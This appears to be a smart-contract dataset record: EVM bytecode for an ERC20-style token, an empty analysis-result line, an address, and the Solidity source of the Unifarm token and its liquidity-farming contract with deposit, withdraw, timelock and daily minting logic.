f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b675780601f10611b3c57610100808354040283529160200191611b67565b820191906000526020600020905b815481529060010190602001808311611b4a57829003601f168201915b5050505050905090565b60025481565b606060088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c0f5780601f10611be457610100808354040283529160200191611c0f565b820191906000526020600020905b815481529060010190602001808311611bf257829003601f168201915b5050505050905090565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611caf5780601f10611c8457610100808354040283529160200191611caf565b820191906000526020600020905b815481529060010190602001808311611c9257829003601f168201915b505050505081565b6060600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611d4f5780601f10611d2457610100808354040283529160200191611d4f565b820191906000526020600020905b815481529060010190602001808311611d3257829003601f168201915b5050505050905090565b6000816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611e25575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611e315750600082115b15611fc657816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611fcb565b600090505b9392505050565b6060600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561206a5780601f1061203f5761010080835404028352916020019161206a565b820191906000526020600020905b81548152906001019060200180831161204d57829003601f168201915b5050505050905090565b606060078054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561210c5780601f106120e15761010080835404028352916020019161210c565b820191906000526020600020905b8154815290600101906020018083116120ef57829003601f168201915b5050505050905090565b6000600a0a60640281565b600081565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156121be5780601f10612193576101008083540402835291602001916121be565b820191906000526020600020905b8154815290600101906020018083116121a157829003601f168201915b5050505050905090565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561225e5780601f106122335761010080835404028352916020019161225e565b820191906000526020600020905b81548152906001019060200180831161224157829003601f168201915b505050505081565b600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156122fc5780601f106122d1576101008083540402835291602001916122fc565b820191906000526020600020905b8154815290600101906020018083116122df57829003601f168201915b505050505081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561236257600080fd5b600360149054906101000a900460ff1615151561237e57600080fd5b61239382600254613c8290919063ffffffff16565b6002819055506123ea826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613c8290919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080821115156124fa57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561254757600080fd5b33905061259b826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ca090919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125f282600254613ca090919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60606040805190810160405280600781526020017f4d72204c6f6e6700000000000000000000000000000000000000000000000000815250905090565b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561271f5780601f106126f45761010080835404028352916020019161271f565b820191906000526020600020905b81548152906001019060200180831161270257829003601f168201915b5050505050905090565b600f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156127bf5780601f10612794576101008083540402835291602001916127bf565b820191906000526020600020905b8154815290600101906020018083116127a257829003601f168201915b505050505081565b60068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561285d5780601f106128325761010080835404028352916020019161285d565b820191906000526020600020905b81548152906001019060200180831161284057829003601f168201915b505050505081565b606060118054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128fd5780601f106128d2576101008083540402835291602001916128fd565b820191906000526020600020905b8154815290600101906020018083116128e057829003601f168201915b5050505050905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156129e75780601f106129bc576101008083540402835291602001916129e7565b820191906000526020600020905b8154815290600101906020018083116129ca57829003601f168201915b5050505050905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a4f57600080fd5b600360149054906101000a900460ff16151515612a6b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600086600c9080519060200190612ad1929190613cb9565b5085600d9080519060200190612ae8929190613cb9565b5084600e9080519060200190612aff929190613cb9565b5083600f9080519060200190612b16929190613cb9565b508260109080519060200190612b2d929190613cb9565b508160119080519060200190612b44929190613cb9565b507f76b794936344483a0e529b4c747bdaccfc63ce7d42758c188d25a4924cefd339600c600d600e600f601060116040518080602001806020018060200180602001806020018060200187810387528d818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612c0f5780601f10612be457610100808354040283529160200191612c0f565b820191906000526020600020905b815481529060010190602001808311612bf257829003601f168201915b505087810386528c818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612c925780601f10612c6757610100808354040283529160200191612c92565b820191906000526020600020905b815481529060010190602001808311612c7557829003601f168201915b505087810385528b818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612d155780601f10612cea57610100808354040283529160200191612d15565b820191906000526020600020905b815481529060010190602001808311612cf857829003601f168201915b505087810384528a818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612d985780601f10612d6d57610100808354040283529160200191612d98565b820191906000526020600020905b815481529060010190602001808311612d7b57829003601f168201915b5050878103835289818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612e1b5780601f10612df057610100808354040283529160200191612e1b565b820191906000526020600020905b815481529060010190602001808311612dfe57829003601f168201915b5050878103825288818154600181600116156101000203166002900481526020019150805460018160011615610100020316600290048015612e9e5780601f10612e7357610100808354040283529160200191612e9e565b820191906000526020600020905b815481529060010190602001808311612e8157829003601f168201915b50509c5050505050505050505050505060405180910390a1600190509695505050505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612f805780601f10612f5557610100808354040283529160200191612f80565b820191906000526020600020905b815481529060010190602001808311612f6357829003601f168201915b505050505081565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561301e5780601f10612ff35761010080835404028352916020019161301e565b820191906000526020600020905b81548152906001019060200180831161300157829003601f168201915b505050505081565b6060600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130be5780601f10613093576101008083540402835291602001916130be565b820191906000526020600020905b8154815290600101906020018083116130a157829003601f168201915b5050505050905090565b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156131605780601f1061313557610100808354040283529160200191613160565b820191906000526020600020905b81548152906001019060200180831161314357829003601f168201915b5050505050905090565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156131ba5750600082115b156132c557816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190506132ca565b600090505b92915050565b60078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133665780601f1061333b57610100808354040283529160200191613366565b820191906000526020600020905b81548152906001019060200180831161334957829003601f168201915b505050505081565b60606040805190810160405280601281526020017f7072697661746520636f6c6c656374696f6e0000000000000000000000000000815250905090565b606060108054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134435780601f1061341857610100808354040283529160200191613443565b820191906000526020600020905b81548152906001019060200180831161342657829003601f168201915b5050505050905090565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134e35780601f106134b8576101008083540402835291602001916134e3565b820191906000526020600020905b8154815290600101906020018083116134c657829003601f168201915b505050505081565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff1660405180807f72656365697665417070726f76616c28616464726573732c75696e743235362c81526020017f616464726573732c627974657329000000000000000000000000000000000000815250602e01905060405180910390207c01000000000000000000000000000000000000000000000000000000009004338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828051906020019080838360005b8381101561372c578082015181840152602081019050613711565b50505050905090810190601f1680156137595780820380516001836020036101000a031916815260200191505b509450505050506000604051808303816000875af19250505015151561377e57600080fd5b600190509392505050565b6060600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138215780601f106137f657610100808354040283529160200191613821565b820191906000526020600020905b81548152906001019060200180831161380457829003601f168201915b5050505050905090565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138c15780601f10613896576101008083540402835291602001916138c1565b820191906000526020600020905b8154815290600101906020018083116138a457829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139e65780601f106139bb576101008083540402835291602001916139e6565b820191906000526020600020905b8154815290600101906020018083116139c957829003601f168201915b505050505081565b60108054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a845780601f10613a5957610100808354040283529160200191613a84565b820191906000526020600020905b815481529060010190602001808311613a6757829003601f168201915b505050505081565b60118054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613b225780601f10613af757610100808354040283529160200191613b22565b820191906000526020600020905b815481529060010190602001808311613b0557829003601f168201915b505050505081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515613b8657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515613bc257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284019050838110151515613c9657fe5b8091505092915050565b6000828211151515613cae57fe5b818303905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cfa57805160ff1916838001178555613d28565b82800160010185558215613d28579182015b82811115613d27578251825591602001919060010190613d0c565b5b509050613d359190613d39565b5090565b613d5b91905b80821115613d57576000816000905550600101613d3f565b5090565b905600a165627a7a72305820dd8b3ac87861049ffc222801fe0e80fef4bcfb32ccef5a198e4d408fb4345e670029
|
{"success": true, "error": null, "results": {}}
| 4,090 |
0xb3a28545f799c2dd35e681c701ae1b89054b100e
|
// UUUUUUUU UUUUUUUUNNNNNNNN NNNNNNNNIIIIIIIIIIFFFFFFFFFFFFFFFFFFFFFF AAA RRRRRRRRRRRRRRRRR MMMMMMMM MMMMMMMM
// U::::::U U::::::UN:::::::N N::::::NI::::::::IF::::::::::::::::::::F A:::A R::::::::::::::::R M:::::::M M:::::::M
// U::::::U U::::::UN::::::::N N::::::NI::::::::IF::::::::::::::::::::F A:::::A R::::::RRRRRR:::::R M::::::::M M::::::::M
// UU:::::U U:::::UUN:::::::::N N::::::NII::::::IIFF::::::FFFFFFFFF::::F A:::::::A RR:::::R R:::::RM:::::::::M M:::::::::M
// U:::::U U:::::U N::::::::::N N::::::N I::::I F:::::F FFFFFF A:::::::::A R::::R R:::::RM::::::::::M M::::::::::M
// U:::::D D:::::U N:::::::::::N N::::::N I::::I F:::::F A:::::A:::::A R::::R R:::::RM:::::::::::M M:::::::::::M
// U:::::D D:::::U N:::::::N::::N N::::::N I::::I F::::::FFFFFFFFFF A:::::A A:::::A R::::RRRRRR:::::R M:::::::M::::M M::::M:::::::M
// U:::::D D:::::U N::::::N N::::N N::::::N I::::I F:::::::::::::::F A:::::A A:::::A R:::::::::::::RR M::::::M M::::M M::::M M::::::M
// U:::::D D:::::U N::::::N N::::N:::::::N I::::I F:::::::::::::::F A:::::A A:::::A R::::RRRRRR:::::R M::::::M M::::M::::M M::::::M
// U:::::D D:::::U N::::::N N:::::::::::N I::::I F::::::FFFFFFFFFFA:::::AAAAAAAAA:::::A R::::R R:::::RM::::::M M:::::::M M::::::M
// U:::::D D:::::U N::::::N N::::::::::N I::::I F:::::F A:::::::::::::::::::::A R::::R R:::::RM::::::M M:::::M M::::::M
// U::::::U U::::::U N::::::N N:::::::::N I::::I F:::::F A:::::AAAAAAAAAAAAA:::::A R::::R R:::::RM::::::M MMMMM M::::::M
// U:::::::UUU:::::::U N::::::N N::::::::NII::::::IIFF:::::::FF A:::::A A:::::A RR:::::R R:::::RM::::::M M::::::M
// UU:::::::::::::UU N::::::N N:::::::NI::::::::IF::::::::FF A:::::A A:::::A R::::::R R:::::RM::::::M M::::::M
// UU:::::::::UU N::::::N N::::::NI::::::::IF::::::::FF A:::::A A:::::A R::::::R R:::::RM::::::M M::::::M
// UUUUUUUUU NNNNNNNN NNNNNNNIIIIIIIIIIFFFFFFFFFFF AAAAAAA AAAAAAARRRRRRRR RRRRRRRMMMMMMMM MMMMMMMM
//
// FARM CONTRACT
// unifarm.io -
// t.me/unifarm_official
pragma solidity 0.5.17;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0)
return 0;
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "permission denied");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "invalid address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token to a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
}
contract ERC20Mintable is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
function _mint(address to, uint256 amount) internal {
_balances[to] = _balances[to].add(amount);
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), to, amount);
}
function _burn(address from, uint256 amount) internal {
_balances[from] = _balances[from].sub(amount);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(0), amount);
}
}
contract Unifarm is ERC20Mintable, Ownable {
using SafeMath for uint256;
mapping (address => bool) public isMinter;
constructor() public {
name = "UNIFARM.IO";
symbol = "UNF";
decimals = 18;
}
function setMinter(address minter, bool flag) external onlyOwner {
isMinter[minter] = flag;
}
function mint(address to, uint256 amount) external {
require(isMinter[msg.sender], "Not Minter");
_mint(to, amount);
}
function burn(address from, uint256 amount) external {
if (from != msg.sender && _allowed[from][msg.sender] != uint256(-1))
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(amount);
require(_balances[from] >= amount, "insufficient-balance");
_burn(from, amount);
}
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
contract Farm is Ownable {
using SafeMath for uint256;
Unifarm public unifarm; //white unifarm
IUniswapV2Pair public cUnifarm; //colored unifarm
ERC20 public token; //token
uint256 public today;
uint256 public spawnRate;
uint256 public withdrawRate;
uint256 public timeLock;
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping(address => uint256) public depositTimeStamp;
constructor(uint256 _spawnRate, uint256 _withdrawRate, uint256 _timeLock, address _unifarm, address _cUnifarm, address _token) public {
today = now / 1 days;
spawnRate = _spawnRate;
withdrawRate = _withdrawRate;
timeLock = _timeLock;
unifarm = Unifarm(_unifarm);
cUnifarm = IUniswapV2Pair(_cUnifarm);
token = ERC20(_token);
}
function setParams(uint256 _spawnRate, uint256 _withdrawRate, uint256 _timeLock) external onlyOwner {
require(_spawnRate <= 0.1e18);
require(_withdrawRate >= 0.85e18 && _withdrawRate <= 1e18);
require(_timeLock <= 15 days);
spawnRate = _spawnRate;
withdrawRate = _withdrawRate;
timeLock = _timeLock;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function totalValue() public view returns(uint256) {
return cUnifarm.balanceOf(address(this));
}
function deposit(uint256 amount) external returns (uint256 share) {
if(totalSupply() > 0)
share = totalSupply().mul(amount).div(totalValue());
else
share = amount;
_balances[msg.sender] = _balances[msg.sender].add(share);
depositTimeStamp[msg.sender] = now;
_totalSupply = _totalSupply.add(share);
require(cUnifarm.transferFrom(msg.sender, address(this), amount));
}
function withdraw(address to, uint256 share) external returns (uint256 amount) {
require(depositTimeStamp[msg.sender].add(timeLock) <= now, "locked");
amount = share.mul(totalValue()).div(totalSupply());
if(share < _totalSupply)
amount = amount.mul(withdrawRate).div(1e18);
_balances[msg.sender] = _balances[msg.sender].sub(share);
_totalSupply = _totalSupply.sub(share);
require(cUnifarm.transfer(to, amount));
}
function rescueToken(ERC20 _token, uint256 _amount) onlyOwner public {
require(_token != ERC20(address(cUnifarm)));
_token.transfer(msg.sender, _amount);
}
function breed() external {
require(now / 1 days > today);
today += 1;
uint256 unifarmPairAmount = unifarm.balanceOf(address(cUnifarm));
uint256 tokenPairAmount = token.balanceOf(address(cUnifarm));
uint256 newUnifarm = unifarmPairAmount.mul(spawnRate).div(1e18);
uint256 amount = UniswapV2Library.getAmountOut(newUnifarm, unifarmPairAmount, tokenPairAmount);
unifarm.mint(address(cUnifarm), newUnifarm);
if(address(unifarm) < address(token))
cUnifarm.swap(0, amount, address(this), "");
else
cUnifarm.swap(amount, 0, address(this), "");
token.transfer(address(cUnifarm), amount);
unifarm.mint(address(cUnifarm), newUnifarm);
cUnifarm.mint(address(this));
}
}
|
